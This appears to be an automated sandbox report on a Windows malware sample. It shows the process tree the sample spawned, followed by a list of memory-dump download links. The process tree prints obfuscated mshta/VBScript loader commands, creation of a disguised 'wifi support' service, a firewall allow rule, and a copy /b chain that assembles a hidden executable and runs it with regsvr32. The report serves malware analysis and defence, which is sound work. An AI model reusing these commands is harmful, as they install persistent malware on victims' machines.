                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\sc.exe" create ehhzfvx binPath= "C:\Windows\SysWOW64\ehhzfvx\jbpdrqga.exe /d\"C:\Users\Admin\AppData\Local\Temp\4B9B.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                              PID:5808
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\sc.exe" description ehhzfvx "wifi internet conection"
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:5764
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\sc.exe" start ehhzfvx
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                  PID:5156
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                    PID:3836
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\5020.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\5020.exe
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:5872
                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\5476.exe
                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\5476.exe
                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                      PID:7272
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\5476.exe"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If """" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\5476.exe"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                          PID:8132
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmd.exe" /C Type "C:\Users\Admin\AppData\Local\Temp\5476.exe" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If "" == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\5476.exe" ) do taskkill -Im "%~NXD" /F
                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                              PID:8056
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE
                                                                                                                                                                                                                                                                                                                ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7
                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                  PID:5224
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\mshta.exe" VbsCriPt: cLose ( cReatEOBjecT ( "WsCRipT.SHeLl"). Run("CMd.EXe /C Type ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If ""-p0Bd6WU~zT21V9yySfmmv7 "" == """" for %D in ( ""C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE"" ) do taskkill -Im ""%~NXD"" /F " ,0 , TrUE ) )
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:2288
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C Type "C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE" > ..\8EqO3YYWQYIWQCG.ExE&& sTaRt ..\8eqO3YYWQyIWqCG.EXE -p0Bd6WU~zT21V9yySfmmv7 & If "-p0Bd6WU~zT21V9yySfmmv7 " == "" for %D in ( "C:\Users\Admin\AppData\Local\Temp\8EqO3YYWQYIWQCG.ExE" ) do taskkill -Im "%~NXD" /F
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                          PID:5360
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\mshta.exe" vbSCrIPT: CLOSE( creAteOBJecT ( "WsCRIpT.ShElL"). RUn ( "C:\Windows\system32\cmd.exe /Q /c eCHo C:\Users\Admin\AppData\Local\TempcSpD> 10Ou8q.9 & ecHO | sET /p = ""MZ"" > 2AQ5.X& COpY /y /b 2Aq5.X + WwZoqDR.Aq_ + 3cQ7SE1.PD + 8jTXBDPR.VQ0 + BhxNJ8.m5W + 10OU8q.9 ..\fLNDPPCP.UUv & DEl /Q *& StArT regsvr32.exe ..\fLNDPPcp.UUv /s " , 0 , TRuE))
                                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                                          PID:5828
                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\cmd.exe" /Q /c eCHo C:\Users\Admin\AppData\Local\TempcSpD> 10Ou8q.9 & ecHO | sET /p = "MZ" >2AQ5.X& COpY /y /b 2Aq5.X + WwZoqDR.Aq_ + 3cQ7SE1.PD + 8jTXBDPR.VQ0 + BhxNJ8.m5W + 10OU8q.9 ..\fLNDPPCP.UUv & DEl /Q *& StArT regsvr32.exe ..\fLNDPPcp.UUv /s
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                              PID:4892
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /S /D /c" ecHO "
                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                  PID:7336
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /S /D /c" sET /p = "MZ" 1>2AQ5.X"
                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                    PID:7160
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                              taskkill -Im "5476.exe" /F
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                              PID:4896
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\569A.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\569A.exe
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:7896
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\ehhzfvx\jbpdrqga.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\ehhzfvx\jbpdrqga.exe /d"C:\Users\Admin\AppData\Local\Temp\4B9B.exe"
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:6004
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\LogonUI.exe
                                                                                                                                                                                                                                                                                                                            "LogonUI.exe" /flags:0x0 /state0:0xa3af4855 /state1:0x41c64e6d
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:8164

                                                                                                                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                  memory/152-211-0x0000000000180000-0x0000000000181000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/152-214-0x000000001B000000-0x000000001B002000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/152-213-0x00000000007A0000-0x00000000007BD000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/296-169-0x0000018543B80000-0x0000018543BF0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/908-147-0x0000013449430000-0x00000134494A0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/908-144-0x0000013449300000-0x000001344934B000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1108-184-0x000001F89D460000-0x000001F89D4D0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1204-236-0x0000000001340000-0x0000000001341000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1204-230-0x0000000000B10000-0x0000000000B11000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1228-173-0x000001E665A70000-0x000001E665AE0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1304-165-0x000002601B340000-0x000002601B3B0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1364-234-0x0000014F56B50000-0x0000014F56B9C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1364-235-0x0000014F56E00000-0x0000014F56E71000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1364-287-0x0000014F58670000-0x0000014F5868B000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1364-289-0x0000014F59600000-0x0000014F59706000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1376-192-0x0000000003820000-0x0000000003830000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1376-186-0x0000000003680000-0x0000000003690000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1376-127-0x0000000000400000-0x0000000000636000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1448-153-0x0000019C98640000-0x0000019C986B0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/1916-159-0x000001C5D8B40000-0x000001C5D8BB0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2340-178-0x000001E4A9780000-0x000001E4A97F0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2364-172-0x000001F4EF620000-0x000001F4EF690000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2560-160-0x000001D534060000-0x000001D5340D0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2676-179-0x00000252D2F60000-0x00000252D2FD0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2688-185-0x0000016FE1780000-0x0000016FE17F0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2840-146-0x0000000004CC0000-0x0000000004D1C000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2840-142-0x0000000004BAF000-0x0000000004CB0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-334-0x0000000005040000-0x0000000005041000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-332-0x0000000005020000-0x0000000005021000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-329-0x00000000001E0000-0x00000000001E1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-335-0x0000000005050000-0x0000000005051000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-336-0x0000000005060000-0x0000000005061000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-330-0x0000000005000000-0x0000000005001000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-331-0x0000000005010000-0x0000000005011000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/2844-333-0x0000000005030000-0x0000000005031000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3748-221-0x0000000007850000-0x0000000007851000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3748-220-0x00000000050A0000-0x00000000050CD000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3748-218-0x0000000000880000-0x0000000000881000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3748-233-0x0000000005110000-0x0000000005111000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3808-241-0x0000000004EE0000-0x0000000004EE1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3812-152-0x00000214B07F0000-0x00000214B0860000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/3944-166-0x000001EED1E40000-0x000001EED1EB0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4148-240-0x0000000005480000-0x0000000005481000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4388-249-0x0000000000400000-0x000000000043B000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4416-250-0x00000000001E0000-0x00000000001E1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4468-253-0x0000000002400000-0x0000000002402000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4684-259-0x0000000000400000-0x000000000046E000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4712-260-0x00000000001E0000-0x00000000001E1000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4744-276-0x0000000002950000-0x0000000002952000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4796-299-0x0000000001412000-0x0000000001414000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4796-304-0x0000000001415000-0x0000000001416000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4796-300-0x0000000001414000-0x0000000001415000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4796-277-0x0000000001410000-0x0000000001412000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4796-306-0x0000000001416000-0x0000000001418000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4848-278-0x00000000016C0000-0x00000000016C2000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4848-280-0x00000000016C4000-0x00000000016C5000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4848-294-0x00000000016C5000-0x00000000016C6000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/4848-279-0x00000000016C2000-0x00000000016C4000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/5040-291-0x0000000000BA0000-0x0000000000BA2000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download

                                                                                                                                                                                                                                                                                                                                  memory/5532-327-0x0000000000400000-0x0000000000414000-memory.dmp
                                                                                                                                                                                                                                                                                                                                  Download